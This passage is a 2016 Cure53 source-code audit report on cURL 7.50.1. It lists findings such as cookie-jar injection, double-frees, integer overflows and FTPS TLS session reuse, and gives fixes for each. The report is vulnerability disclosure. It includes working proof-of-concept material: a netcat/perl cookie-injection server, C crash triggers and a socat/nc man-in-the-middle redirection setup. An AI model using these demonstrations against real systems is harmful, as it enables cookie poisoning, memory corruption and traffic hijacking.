Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

Pentest-Report cURL 08.2016

Cure53, Dr.-Ing. M. Heiderich, M. Wege, BSc. D. Weißer, J. Horn, MSc. N. Krein

Index

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

Introduction

“curl is an open source command line tool and library for transferring data with URL syntax, supporting DICT, FILE, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMTP, SMTPS, Telnet and TFTP. curl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, HTTP/2, cookies, user+password authentication (Basic, Plain, Digest, CRAM-MD5, NTLM, Negotiate and Kerberos), file transfer resume, proxy tunneling and more.”

From https://curl.haxx.se/

This report documents findings of a source code audit dedicated to assessing the cURL software. The assessment of the tool was performed by Cure53 as part of the Mozilla’s Secure Open Source track program. The results of the project encompass twenty-three security-relevant discoveries.

As for the approach, the test was rooted in the public availability of the source code belonging to the cURL software and the investigation involved five testers of the Cure53 team. The tool was tested over the course of twenty days in August and September of 2016 and main efforts were focused on examining cURL 7.50.1. and later versions of cURL. It has to be noted that rather than employ fuzzing or similar approaches to validate the robustness of the build of the application and library, the latter goal was pursued through a classic source code audit. Sources covering authentication, various protocols, and, partly, SSL/TLS, were analyzed in considerable detail. A rationale behind this type of scoping pointed to these parts of the cURL tool that were most likely to be prone and exposed to real-life attack scenarios. Rounding up the methodology of the classic code audit, Cure53 benefited from certain tools, which included ASAN targeted with detecting memory errors, as well as Helgrind, which was tasked with pinpointing synchronization errors with the threading model.

As already signaled, the assessment led to twenty-three issues being identified. The problems could be categorized into a slightly smaller class of nine actual security vulnerabilities, and a further fourteen general weaknesses. What is paramount is that none of the spotted issues received a “Critical” ranking with regard to their severity and scope. However, four of the key nine findings were flagged with a “High” denominator since they might have ultimately led to Remote Code Execution (RCE) on the affected system. At the same time, the overall impression of the state of security and robustness of the cURL library was positive.

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

Scope

- **cURL Sources**
    - https://curl.haxx.se/download.html

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *CRL-01-001*) for the purpose of facilitating any future follow-up correspondence.

CRL-01-001 Malicious server can inject cookies for other servers *(Medium)*

If cookie state is written into a *cookie jar* file that is later read back and used for subsequent requests, a malicious HTTP server can inject new cookies for arbitrary domains into said *cookie jar*. The issue pertains to the function *Curl_cookie_init()*, which reads the specified file into a fixed-size buffer in a line-by-line manner and with the use of the *fgets()* function:

```
// AUDIT NOTE: MAX_COOKIE_LINE == 5000
line = malloc(MAX_COOKIE_LINE);
if(!line)
  goto fail;
while(fgets(line, MAX_COOKIE_LINE, fp)) {
  if(checkprefix("Set-Cookie:", line)) {
    /* This is a cookie line, get it! */
    lineptr=&line[11];
    headerline=TRUE;
  }
  else {
    lineptr=line;
    headerline=FALSE;
  }
  while(*lineptr && ISBLANK(*lineptr))
    lineptr++;

  Curl_cookie_add(data, c, headerline, lineptr, NULL, NULL);
}
free(line); /* free the line buffer */
```

The issue here is that if an invocation of *fgets()* cannot read the whole line into the destination buffer due to it being too small (i.e. over 4999 bytes), it truncates the output.

As a result, the next invocation of *fgets()* continues to read from the position where the last line was truncated. Therefore, if a cookie file contains a line with an overly long value, part of the value will be interpreted as a new cookie, effectively allowing a malicious HTTP server to inject arbitrary cookies.

This code can be triggered by, for example, using a path that is around 1000-bytes-long together with a long cookie value. The precise calculation is presented below.

Assuming host="*localhost*", path="*/{1000*'A'}/*" and cookie_name="*A*":

```
chunk_size = 4999
len(host) = 9
len(path) = 1002
len(cookie_name) = 1
len(entry_without_value) = len(host) + len("\tFALSE\t") + len(path) +
    len("\tFALSE\t0\t") + len(cookie_name) + len("\t") = 1029
len(cookie_value_garbage) = chunk_size - len(entry_without_value) = 3970
```

In order to observe how this works, begin with starting up a fake HTTP server, which must belong to the attacker-domain and is here marked as *localhost*:

```
(
echo -ne 'HTTP/1.1 200 OK\r\nSet-Cookie: A='
perl -e 'print "A"x3970'
echo -ne '127.0.0.1\tFALSE\t/\tFALSE\t0\tfakecookie\tfakecookievalue\r\n\r\n'
) | nc -l -v -p 8080
```

In the next step connect with cURL, storing cookies into a *cookie jar*:

```
curl-7.50.1_build/src/curl -c poisoned_jar \
"http://localhost:8080/$(perl -e 'print "B"x1000')/"
```

Now launch a new TCP server belonging to the victim-domain, which can be seen as 127.0.0.1 here. This need to occur with the use of *netcat*:

```
nc -l -v -p 8080
```

Having completed this, connect with cURL again but now do so with the hostname 127.0.0.1 and while reading back from the *cookie jar*:

```
curl-7.50.1_build/src/curl -b poisoned_jar http://127.0.0.1:8080/
```

The resulting HTTP request is:

```
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: curl/7.50.1
Accept: */*
Cookie: fakecookie=fakecookievalue
```

This demonstrates that this issue can indeed be abused to set cookies on other domains. The *netrc* parsing code also uses *fgets()*, but since the input file probably does not contain any attacker-controlled input, that is probably not a big issue in this realm.

Several options are available as far as fixing this issue is concerned. Some of the approaches are the following:

- When *fgets()* returns a line that does not end with *\n*, discard the current line and all following lines up to and including the next line that does end with *\n*. This might alter the behavior of the code if the *cookie jar* file does not have a trailing newline. This would cause long cookies to be dropped silently.
- Read the whole file into memory, then parse it.
- Use a custom *fgets()* alternative that reallocates memory.

CRL-01-002 ConnectionExists() compares passwords with strequal() *(Medium)*

There are two problems with *ConnectionExists()* comparing several kinds of usernames and passwords using *strequal()*. Firstly, *strequal()* calls *curl_strequal()*, which in turn calls *strcasecmp()*. In the process, strings are compared in a case-insensitive manner. This means that if an unused connection with proper credentials exists for a protocol that has connection-scoped credentials (neither HTTP nor HTTPS), an attacker can cause that connection to be reused if s/he knows the case-insensitive version of the correct password. While this is clearly not the most obvious or typical attack scenario, it is still recommended to compare usernames and passwords in a case-sensitive way.

To test this, launch a local FTP server on port 2121 ad run:

```
 curl-7.50.1_build/src/curl ftp://user:pass@localhost:2121/test1
ftp://user:PASS@localhost:2121/test2
```

Network traffic on port 2121 should then be monitored:

```
220 Hi there!
USER user
331 I only serve anonymous users.  But I'll make an exception.
```

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

```
PASS pass
230 If you insist...
PWD
257 "/"
EPSV
229 Passive Mode OK (|||35751|)
TYPE I
200 yeah, whatever.
SIZE test1
213 6
RETR test1
125 go on (6 bytes)
226 Done.
EPSV
229 Passive Mode OK (|||44355|)
SIZE test2
213 6
RETR test2
125 go on (6 bytes)
226 Done.
QUIT
221 Goodbye.
```

The second issue causing potential trouble is that *strequal()* is not a timing-safe comparison function. More specifically, its execution time can leak information about how long the matching prefix of the two passwords is. If an attacker can supply a lot of URLs to be requested while a correctly authenticated connection to a non-HTTP(S) server is open, then the attacker can make appropriate timing observations. Depending on the implementation used by *curl_strequal(),* as a consequence s/he might theoretically be able to determine the password byte-by-byte.

It is recommended to only compare passwords by comparing hashes that have been created with a cryptographic hash function. The hashes should be compared using *CRYPTO_memcmp()* (or an equivalent function). Alternatively, it would also be possible to first compare lengths and then call *CRYPTO_memcmp()* (or an equivalent function) on the passwords, provided that their lengths are equal. However, it is hard to reliably hide information about the length of passwords with the latter approach.

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

CRL-01-005 OOB write via unchecked multiplication in base64_encode() (*High*)

In *base64_encode()* the output buffer is allocated as follows without any checks on *insize*:

```
base64data = output = malloc(insize * 4 / 3 + 4);
```

On a system with 32-bit addresses in *userspace* (e.g. x86, ARM, x32), the multiplication in the expression wraps around if *insize* is at least 1GB of data. If this happens, an undersized output buffer will be allocated, but the full result will be written, thus causing the memory behind the output buffer to be overwritten. For clear-text authentication, the username has to be duplicated before it is base64-encoded, so the bug can already be triggered with a username that has a size of 512MB.

In a test with SMTP it was not possible to trigger the bug through a malicious URL because *libcurl* creates too many copies of the *username* prior to attempting an allocation of the 1GB buffer to the duplicated URL. However, if the *username* is set directly via *CURLOPT_USERNAME*, the vulnerability can be triggered. To reproduce this issue, compile the following code in a 32-bit environment on an x86-64 machine:

```
# cat smtp-large.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <curl/curl.h>
#include <err.h>

int main(void) {
  #define USER_LEN (1<<29)
  char *user = malloc(USER_LEN + 1);
  memset(user, 'A', USER_LEN);
  user[USER_LEN] = '\0';

  CURL *curl = curl_easy_init();
  if (!curl)
    errx(1, "curl_easy_init");

  curl_easy_setopt(curl, CURLOPT_URL, "smtp://localhost");
  curl_easy_setopt(curl, CURLOPT_USERNAME, user);
  curl_easy_setopt(curl, CURLOPT_PASSWORD, "x");
  CURLcode res = curl_easy_perform(curl); /* crash here */
  if (res != CURLE_OK)
    fprintf(stderr, "curl_easy_perform() failed: %s\n",
            curl_easy_strerror(res));
  curl_easy_cleanup(curl);
```

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

```
  return 0;
}
# gcc -std=gnu99 -Wall -o smtp-large smtp-large.c -lcurl
```

After accomplishing the code, launch a fake SMTP server with *netcat*:

```
# nc -C -l -v -p 25
```

Next, launch the compiled program under *gdb*:

```
# gdb ./smtp-large
[...]
(gdb) run
Starting program: /root/smtp-large
[...]
```

One can now observe that the client connects to the *netcat* server and engage in the following interaction (local input is given in **bold**):

```
220
EHLO pc
250 AUTH PLAIN
AUTH PLAIN
334
```

At this point, the client crashes and the *gdb* reports:

```
Program received signal SIGSEGV, Segmentation fault.
0xf7f5d52a in curl_mvsnprintf (buffer=0x808bffc "QUFB"<error: Cannot access
memory at address 0x808c000>, maxlength=5, format=0xf7fa1510 "%c%c%c%c",
ap_save=0xffffd78c "Q") at mprintf.c:1001
1001          info.buffer[0] = 0;
(gdb) bt
#0  0xf7f5d52a in curl_mvsnprintf (buffer=0x808bffc "QUFB"<error: Cannot access
memory at address 0x808c000>, maxlength=5, format=0xf7fa1510 "%c%c%c%c",
ap_save=0xffffd78c "Q") at mprintf.c:1001
#1  0xf7f5d55d in curl_msnprintf (buffer=0x808bffc "QUFB"<error: Cannot access
memory at address 0x808c000>, maxlength=5, format=0xf7fa1510 "%c%c%c%c") at
mprintf.c:1011
#2  0xf7f398d8 in base64_encode (table64=0xf7fa1460 <base64>
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
data=0x806dca0, inputbuff=0x37591008 'A' <repeats 200 times>...,
insize=1073703595, outptr=0xffffd89c, outlen=0xffffd88c) at base64.c:245
#3  0xf7f3995b in Curl_base64_encode (data=0x806dca0, inputbuff=0x37591008 'A'
<repeats 200 times>..., insize=1073741827, outptr=0xffffd89c, outlen=0xffffd88c)
at base64.c:290
#4  0xf7f9732b in Curl_auth_create_plain_message (data=0x806dca0,
```

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

```
userp=0x775a5008 'A' <repeats 200 times>..., passwdp=0x807f8d0 "x",
outptr=0xffffd89c, outlen=0xffffd88c) at vauth/cleartext.c:91
#5  0xf7f8f9f0 in Curl_sasl_continue (sasl=0x807f5ec, conn=0x807f1d8, code=334,
progress=0xffffd8e0) at curl_sasl.c:445
#6  0xf7f86516 in smtp_state_auth_resp (conn=0x807f1d8, smtpcode=334,
instate=SMTP_AUTH) at smtp.c:836
#7  0xf7f86a53 in smtp_statemach_act (conn=0x807f1d8) at smtp.c:1047
#8  0xf7f87c94 in Curl_pp_statemach (pp=0x807f5a8, block=false) at
pingpong.c:131
#9  0xf7f86bbf in smtp_multi_statemach (conn=0x807f1d8, done=0xffffda54) at
smtp.c:1094
#10 0xf7f553c6 in Curl_protocol_connecting (conn=0x807f1d8, done=0xffffda54) at
url.c:3659
#11 0xf7f6e0af in multi_runsingle (multi=0x8076548, now=..., data=0x806dca0) at
multi.c:1587
#12 0xf7f6ef65 in curl_multi_perform (multi=0x8076548,
running_handles=0xffffdbac) at multi.c:2115
#13 0xf7f64bfd in easy_transfer (multi=0x8076548) at easy.c:727
#14 0xf7f64d96 in easy_perform (data=0x806dca0, events=false) at easy.c:814
#15 0xf7f64deb in curl_easy_perform (data=0x806dca0) at easy.c:833
#16 0x0804883f in main ()
```

It is recommended to perform integer overflow checks before any *size_t arithmetic* that could potentially cause overflowing.

CRL-01-007 Double-free in aprintf() via unsafe size_t multiplication *(Medium)*

When *aprintf()* is used, the following function is responsible for storing its resulting characters into an output buffer:

```
static int alloc_addbyter(int output, FILE *data)
{
  struct asprintf *infop=(struct asprintf *)data;
  unsigned char outc = (unsigned char)output;

  if(!infop->buffer) {
    infop->buffer = malloc(32);
    if(!infop->buffer) {
      infop->fail = 1;
      return -1; /* fail */
    }
    infop->alloc = 32;
    infop->len =0;
  }
  else if(infop->len+1 >= infop->alloc) {
    char *newptr;

    newptr = realloc(infop->buffer, infop->alloc*2);
    if(!newptr) {
      infop->fail = 1;
      return -1; /* fail */
    }
    infop->buffer = newptr;
    infop->alloc *= 2;
  }

  infop->buffer[ infop->len ] = outc;

  infop->len++;

  return outc; /* fputc() returns like this on success */
}
```

In this scenario when the first character is written, a result buffer with a capacity of 32 bytes is allocated. From this follows that whenever the result buffer is full, it is reallocated with twice of its old capacity. However, when the original capacity is *pow(2,31)* bytes on a 32-bit system, the multiplication by 2 overflows and *realloc()* is called with a size of zero, causing the buffer to be freed. The *realloc()* implementations of *glibc, musl, dlmalloc* and *jemalloc* all return NULL in that case, triggering the error path of *alloc_addbyter()*.

While this case looks safe at first, it actually contains some inherent dangers. In the error path it is assumed that *realloc()* failed, which, if true, would mean that *infop->buffer* is still allocated and needs to be freed. This is done in *curl_maprintf()*:

```
va_start(ap_save, format);
retcode = dprintf_formatf(&info, alloc_addbyter, format, ap_save);
va_end(ap_save);
if((-1 == retcode) || info.fail) {
  if(info.alloc)
    free(info.buffer);
  return NULL;
}
```

However, since *realloc()* actually already freed *info.buffer*, this is a double-free, which is a potentially exploitable memory safety violation.

In practice, at least on Linux with *glibc*, the allocation pattern of *mmap()* and *mremap()* causes the 1GB allocation to already fail. This stems from address space fragmentation and essentially makes the issue rather difficult to exploit. However, with a different *libc* on an alternative operating system, especially when one assumes a multi-threaded scenario or a non-standard configuration, it might be possible to exploit this issue.

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

Compiling the following program in a 32-bit environment opens the illustration process of showing this issue in operation:

```
#include <string.h>
#include <curl/mprintf.h>

char bigstr[(2<<28)+1]; /* 256MB */
char fmt[] =
  "%s%s%s%s" /* 1GB */
  "%s%s%s%s" /* 1GB */
  "x" /* 1 byte to trigger overflow */
  ;

int main(void) {
  memset(bigstr, 'A', 2<<28);
  char *res = curl_maprintf(
    fmt,
    bigstr, bigstr, bigstr, bigstr,
    bigstr, bigstr, bigstr, bigstr
  );
  if (!res) {
    puts("res == NULL");
    return 0;
  }
  puts(res);
  return 0;
}
```

To execute the test, first set the stack resource limit to *RLIM_INFINITY* in order to force the kernel to perform bottom-up allocations instead of top-down allocations. This will ensure address space fragmentation. Execute the program next:

```
# ulimit -s unlimited
# strace ./aprintf-large 2>&1 | egrep 'mremap|SIGSEGV'
mremap(0x56031000, 266240, 528384, MREMAP_MAYMOVE) = 0x56031000
mremap(0x56031000, 528384, 1052672, MREMAP_MAYMOVE) = 0x56031000
mremap(0x56031000, 1052672, 2101248, MREMAP_MAYMOVE) = 0x56031000
mremap(0x56031000, 2101248, 4198400, MREMAP_MAYMOVE) = 0x56031000
mremap(0x56031000, 4198400, 8392704, MREMAP_MAYMOVE) = 0x56031000
mremap(0x56031000, 8392704, 16781312, MREMAP_MAYMOVE) = 0x56031000
mremap(0x56031000, 16781312, 33558528, MREMAP_MAYMOVE) = 0x56031000
mremap(0x56031000, 33558528, 67112960, MREMAP_MAYMOVE) = 0x56031000
mremap(0x56031000, 67112960, 134221824, MREMAP_MAYMOVE) = 0x56031000
mremap(0x56031000, 134221824, 268439552, MREMAP_MAYMOVE) = 0x56031000
mremap(0x56031000, 268439552, 536875008, MREMAP_MAYMOVE) = 0x56031000
mremap(0x56031000, 536875008, 1073745920, MREMAP_MAYMOVE) = 0x56031000
mremap(0x56031000, 1073745920, 2147487744, MREMAP_MAYMOVE) = 0x56031000
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x56031004} ---
+++ killed by SIGSEGV +++
```

It is recommended to explicitly check for overflow.

CRL-01-009 Double-free in krb5 read_data() due to missing realloc() check (*High*)

In cURL's implementation of the Kerberos authentication mechanism, the function *read_data()* in *security.c* is used to fill the necessary *krb5* structures. However, during reading one of the length fields from the socket *read_data(),* it was noticed that it fails to ensure that the passed length parameter to *realloc()* is not set to 0. This can be seen in the following code:

```
Static CURLcode read_data(struct connectdata *conn,
                          curl_socket_t fd,
                          struct krb5buffer *buf)
{
  int len;
  void* tmp;
  CURLcode result;

  result = socket_read(fd, &len, sizeof(len));
  if(result)
    return result;

  len = ntohl(len);
  tmp = realloc(buf->data, len);
  if(tmp == NULL)
    return CURLE_OUT_OF_MEMORY;
```

Calling *realloc()* with a *len* of 0 will lead to *buf->data* being freed. This occurs while the code actually assumes that the operating system failed to allocate enough memory and thus returns early. Later on, when the *ftp* connection is closed, *Curl_sec_end()* will be called:

```
void
Curl_sec_end(struct connectdata *conn)
{
  if(conn->mech != NULL && conn->mech->end)
    conn->mech->end(conn->app_data);
  free(conn->app_data);
  conn->app_data = NULL;
  if(conn->in_buffer.data) {
    free(conn->in_buffer.data);
```

This leads to a second freeing of the *krb5* buffer and as such signifies a possibly exploitable memory corruption vulnerability. A general recommendation is to check all parameters passed to *realloc()* against 0, as this easily leads to unexpected calls to *free().* Bailing out accordingly or correcting the size field in question should be implemented.

CRL-01-011 FTPS TLS session reuse *(Low)*

When establishing a new TLS connection to a server, cURL attempts to find a TLS session that can be reused with the help of *Curl_ssl_getsessionid()*. This method compares hostnames and port numbers, but not protocols. In other words, it is possible to reuse a TLS session that was created by e.g. an FTPS server for a connection to an HTTPS server, yet this only holds if the servers listen on the same port.

This might seem harmless at first but actually permits a Man-in-the-Middle (MitM) attacker to fake responses from TLS-based non-FTP protocols (e.g. HTTPS) under some circumstances. TLS sessions are not just used as a performance enhancement: some FTPS servers (e.g. *vsftpd*) lack a better mechanism and use them to verify that control and data connections are correctly associated with each other, thereby mitigating some cross-protocol attacks that would otherwise be possible[1]. This mitigation is necessary because of a weakness in the FTPS specification. By reusing TLS sessions across protocols, cURL reduces the effectivity of the designed and default mitigation strategy.

Consider the case where a client using *libcurl* is about to download a file with a crucially important integrity. Let us have the client use *https://server/good_file* for this download. An attacker who can trigger downloads from *ftps://* URLs and has a MitM position in the network wants to replace the file that is to be downloaded from *https://server/good_file* with another file that is stored somewhere else on the FTPS server on the same machine. The attacker proceeds as follows:

```
(main control port) 443  ------------> 21   (main control port)
                           /---------> 21   (control port, second connection)
   (main data port) high -/  /-------> high (main data port)
        (HTTP port) 443  ---/
```

- The attacker tricks the client into requesting *ftps://server:443/evil_file*.
- The client tries to connect to port 443; the attacker redirects the TCP connection to the server's FTPS control port, then lets the client and server talk normally.

[1] https://scarybeastsecurity.blogspot.de/2015/07/vsftpd-303-released-and-horrors-of-ftp.html

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

- Client and server negotiate a normal TLS connection. They start a TLS session and start talking with FTP through it. Since TLS does not verify that the port numbers match, the connection progresses normally.
- Passive FTP is negotiated, the server opens a high-FTPS data port, and the client attempts to connect to it. The attacker redirects this connection to the FTPS control port. Now the client believes that the FTPS data connection has been set up properly, while the server sees a second FTPS session.
- The FTPS client requests a transmission of */evil_file* over the control connection and expects to receive the file contents over the (fake) data connection.
- The attacker waits for the client to start fetching *good_file*. When the client tries to connect to port 443, the attacker forwards the connection to the FTPS data port. The FTPS server verifies that the TLS session of the control connection has been reused by the data connection. Now the FTPS server, like the client, believes that the FTPS data connection has been established correctly.
- The FTPS server sends the raw contents of */evil_file* without any kind of header over the HTTPS connection (which it believes to be an FTPS data connection).
- The HTTPS client receives */evil_file* as the HTTP response.

To verify the issue first configure *vsftpd* for implicit SSL on port 21, so that normal FTPS connections from cURL work. Additionally, to simplify the demonstration, set *pasv_min_port=21212* and *pasv_max_port=21212*.

On the client add a host’s file entry that redirects the server traffic to 127.0.0.1 to simulate malicious DNS responses.

Store this file as *handle_443.sh*:

```
#!/bin/bash
if [ -e first_443 ]; then
  # second connection
  nc -v {serverip} 21212
else
  # first connection
  touch first_443
  nc -v {serverip} 21
fi
```

Run the following commands in the background:

```
socat TCP-LISTEN:21212,reuseaddr,fork 'EXEC:nc -v {serverip} 21'
sudo socat TCP-LISTEN:443,reuseaddr,fork 'EXEC:./handle_443.sh'
```

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

Compile and run the following C code:

```
#include <pthread.h>
#include <curl/curl.h>
#include <unistd.h>
#include <err.h>

CURLSH *shared;

void *get_evil_url(void *x) {
  puts("starting ftps");
  CURL *hnd = curl_easy_init();
  if (!hnd)
    errx(1, "curl_easy_init");
  curl_easy_setopt(hnd, CURLOPT_SHARE, shared);
  curl_easy_setopt(hnd, CURLOPT_URL, "ftps://{server}:443/evilfile");
  curl_easy_setopt(hnd, CURLOPT_NOPROGRESS, 1L);
  curl_easy_setopt(hnd, CURLOPT_TCP_KEEPALIVE, 1L);
  curl_easy_perform(hnd);
  curl_easy_cleanup(hnd);
  puts("ftps done");
  return NULL;
}

pthread_mutex_t curllock = PTHREAD_MUTEX_INITIALIZER;
void do_lock(CURL *h, curl_lock_data d, curl_lock_access a, void *p) {
  pthread_mutex_lock(&curllock);
}
void do_unlock(CURL *h, curl_lock_data d, void *p) {
  pthread_mutex_unlock(&curllock);
}

int main(int argc, char *argv[])
{
  shared = curl_share_init();
  curl_share_setopt(shared, CURLSHOPT_LOCKFUNC, do_lock);
  curl_share_setopt(shared, CURLSHOPT_UNLOCKFUNC, do_unlock);
  curl_share_setopt(shared, CURLSHOPT_SHARE, CURL_LOCK_DATA_SSL_SESSION);

  pthread_t tid;
  if (pthread_create(&tid, NULL, get_evil_url, NULL))
    errx(1, "pthread_create");

  sleep(10);

  puts("starting https");
  CURL *hnd = curl_easy_init();
  if (!hnd)
    errx(1, "curl_easy_init");
  FILE *outfile = fopen("index.html", "wb");
  if (!outfile)
    errx(1, "fopen");
  curl_easy_setopt(hnd, CURLOPT_WRITEDATA, outfile);
  curl_easy_setopt(hnd, CURLOPT_SHARE, shared);
  curl_easy_setopt(hnd, CURLOPT_URL, "https://{server}/");
  curl_easy_setopt(hnd, CURLOPT_NOPROGRESS, 1L);
  curl_easy_setopt(hnd, CURLOPT_TCP_KEEPALIVE, 1L);
  curl_easy_perform(hnd);
  curl_easy_cleanup(hnd);
  puts("https done");
  return 0;
}
```

At this stage demonstration requires a short waiting period. The file from *ftps://{server}:443/evilfile* will be stored as *index.html*.

A related issue is that if two FTPS connections that share TLS session state are made in parallel, it might be possible to swap the data connections while still passing the server-side session reuse check.

It is recommended to add special code to the TLS session handling. It must be ensured that this code:

- forbids the reuse of TLS sessions by FTPS control connections;
- forbids the creation of TLS sessions by FTPS data connections;
- scopes TLS sessions created by FTPS control connections to the associated data connections;
- forbids the reuse of TLS sessions that were not created by the associated FTPS control connection for FTPS data sessions.

What is more, it is recommended to compare protocols in *Curl_ssl_getsessionid()*. Going even further, it should ideally be considered to evaluate the compatibility impact of requiring the FTPS data connection to use the same TLS session as the FTPS control connection, provided that a TLS session was created for the control connection by the server.

CRL-01-013 Heap overflow via integer truncation *(Medium)*

Among functions, *curl_urldecode()* is responsible for URL-decoding a given string into a newly allocated buffer. It returns a status code, the newly allocated string, and the newly allocated string's length. Input and output lengths have *size_t* type. As a special case, when input length 0 is supplied, the function determines the length of the input string using *strlen()*.

Another component, namely *curl_easy_unescape(),* is a wrapper around the *curl_urldecode()*. The most important difference is that *curl_easy_unescape()* represents lengths using *int* instead of *size_t*: The input length is implicitly cast up to *size_t*, the output length is explicitly cast down to a positive signed integer using *curlx_uztosi()*. In a production build, this down-casting helper silently removes the more significant bits. Only in debug builds, *DEBUGASSERT()* is used to verify that no bits are removed by the cast.

For non-zero lengths, *curl_easy_unescape()* behaves appropriately because the output may not be longer than the input when unescaping, and the input length is already constrained to *INT_MAX*. However, when input length zero is passed in, *Curl_urldecode()* can operate on inputs with unconstrained length and generate equally long outputs, meaning that the reported output length might be reduced by the downcast.

In most cases, this would not be a huge issue, but it nevertheless impacts on the implementation of the *dict://* protocol, in particular on 64-bit machines:

```
static char *unescape_word(struct Curl_easy *data, const char *inputbuff)
{
  char *newp;
  char *dictp;
  char *ptr;
  int len;
  char ch;
  int olen=0;

  newp = curl_easy_unescape(data, inputbuff, 0, &len);
  if(!newp)
    return NULL;

  dictp = malloc(((size_t)len)*2 + 1); /* add one for terminating zero */
  if(dictp) {
    /* According to RFC2229 section 2.2, these letters need to be escaped with
       \[letter] */
    for(ptr = newp;
        (ch = *ptr) != 0;
        ptr++) {
```

```
      if((ch <= 32) || (ch == 127) ||
          (ch == '\'') || (ch == '\"') || (ch == '\\')) {
        dictp[olen++] = '\\';
      }
      dictp[olen++] = ch;
    }
    dictp[olen]=0;
  }
  free(newp);
  return dictp;
}
```

If *len* has wrapped around, the destination buffer *dictp* will also be too small. Consequently, *olen* will first become higher than `((size_t)len)*2 + 1` and write behind the end of the allocated buffer until 2GB have been written, then (if no crash occur by then) *olen* will wrap around to a negative number, and ultimately the *writes* below the allocated buffer will take place.

This can be triggered with the following test program, for instance. Here one can see the consequences of allocating an input URL that is slightly over 4GiB-long:

```
#include <curl/curl.h>
#include <stdint.h>
#include <string.h>
#include <err.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
  char *dicturl = malloc(23 + (1ULL<<32) + 5 + 1);
  if (!dicturl)
    errx(1, "malloc");
  strcpy(dicturl, "dict://localhost/MATCH:");
  memset(dicturl + 23, 'A', (1ULL<<32) + 5);
  dicturl[23 + (1ULL<<32) + 5] = '\0';

  CURL *hnd = curl_easy_init();
  curl_easy_setopt(hnd, CURLOPT_URL, dicturl);
  free(dicturl);
  curl_easy_setopt(hnd, CURLOPT_NOPROGRESS, 1L);
  CURLcode ret = curl_easy_perform(hnd);
  curl_easy_cleanup(hnd);
  return (int)ret;
}
```

Note that this will not succeed if *glibc* is used as the C standard library because *glibc* truncates the output of string elements in *sscanf()* at around 2 GiB. However, it does work with *musl*, which was used in the following test-run. Further consider that around 16GB of RAM are allocated by the test program at the time of the crash. This is because *libcurl* creates multiple copies of the input string and the test machine needs a correspondingly large amount of RAM.

```
# gdb ./a.out
[...]
(gdb) run
[...]
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7b417cb in unescape_word () from /[...]/libcurl.so.4
(gdb) x/20i $rip-40
[...]
   0x7ffff7b417bf <unescape_word+95>:   je     0x7ffff7b417de
<unescape_word+126>
   0x7ffff7b417c1 <unescape_word+97>:   add    $0x1,%r8
   0x7ffff7b417c5 <unescape_word+101>:  lea    0x1(%rcx),%esi
   0x7ffff7b417c8 <unescape_word+104>:  movslq %ecx,%rcx
=> 0x7ffff7b417cb <unescape_word+107>:  mov    %dl,(%rbx,%rcx,1)
   0x7ffff7b417ce <unescape_word+110>:  movzbl (%r8),%edx
   0x7ffff7b417d2 <unescape_word+114>:  test   %dl,%dl
   0x7ffff7b417d4 <unescape_word+116>:  je     0x7ffff7b417f0
<unescape_word+144>
[...]
(gdb) print/x $rbx
$2 = 0x6007c0
(gdb) print/x $rcx
$3 = 0x1b840
(gdb) info proc mappings
process 15761
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /[...]/test/a.out
            0x600000           0x601000     0x1000        0x0 /[...]/test/a.out
            0x601000           0x61c000    0x1b000        0x0 [heap]
      0x7ffbf7b1f000     0x7ffff7b23000 0x400004000        0x0
[...]
(gdb) print/x $rbx + $rcx
$4 = 0x61c000
```

It can be seen that a writing heap overflow has taken place.

As for mitigating this problem, it is recommended to consider turning on *DEBUGASSERT()* checks in production builds. If some of the checks have an unacceptable performance cost, it might make sense to enable a subset of these checks, e.g. those that do not need to perform any memory dereferences or so. In particular, the integer downcast macros should have range checks in production builds.

It is recommended to consider deprecating *curl_easy_unescape()* as well as and other functions that use non-*size_t* lengths. Instead, a new API that only uses *size_t* for length arguments should be created. OpenSSL's API, which also takes size arguments with type *int* in many places, has led to security issues in various software in the past.

CRL-01-014 Negative array index via integer overflow in unescape_word() (*High*)

In *unescape_word()* in *dict.c*, the following code is being used:

```
static char *unescape_word(struct Curl_easy *data, const char *inputbuff)
{
  char *newp;
  char *dictp;
  char *ptr;
  int len;
  char ch;
  int olen=0;

  newp = curl_easy_unescape(data, inputbuff, 0, &len);
  if(!newp)
    return NULL;

  dictp = malloc(((size_t)len)*2 + 1); /* add one for terminating zero */
  if(dictp) {
    /* According to RFC2229 section 2.2, these letters need to be escaped with
       \[letter] */
    for(ptr = newp;
        (ch = *ptr) != 0;
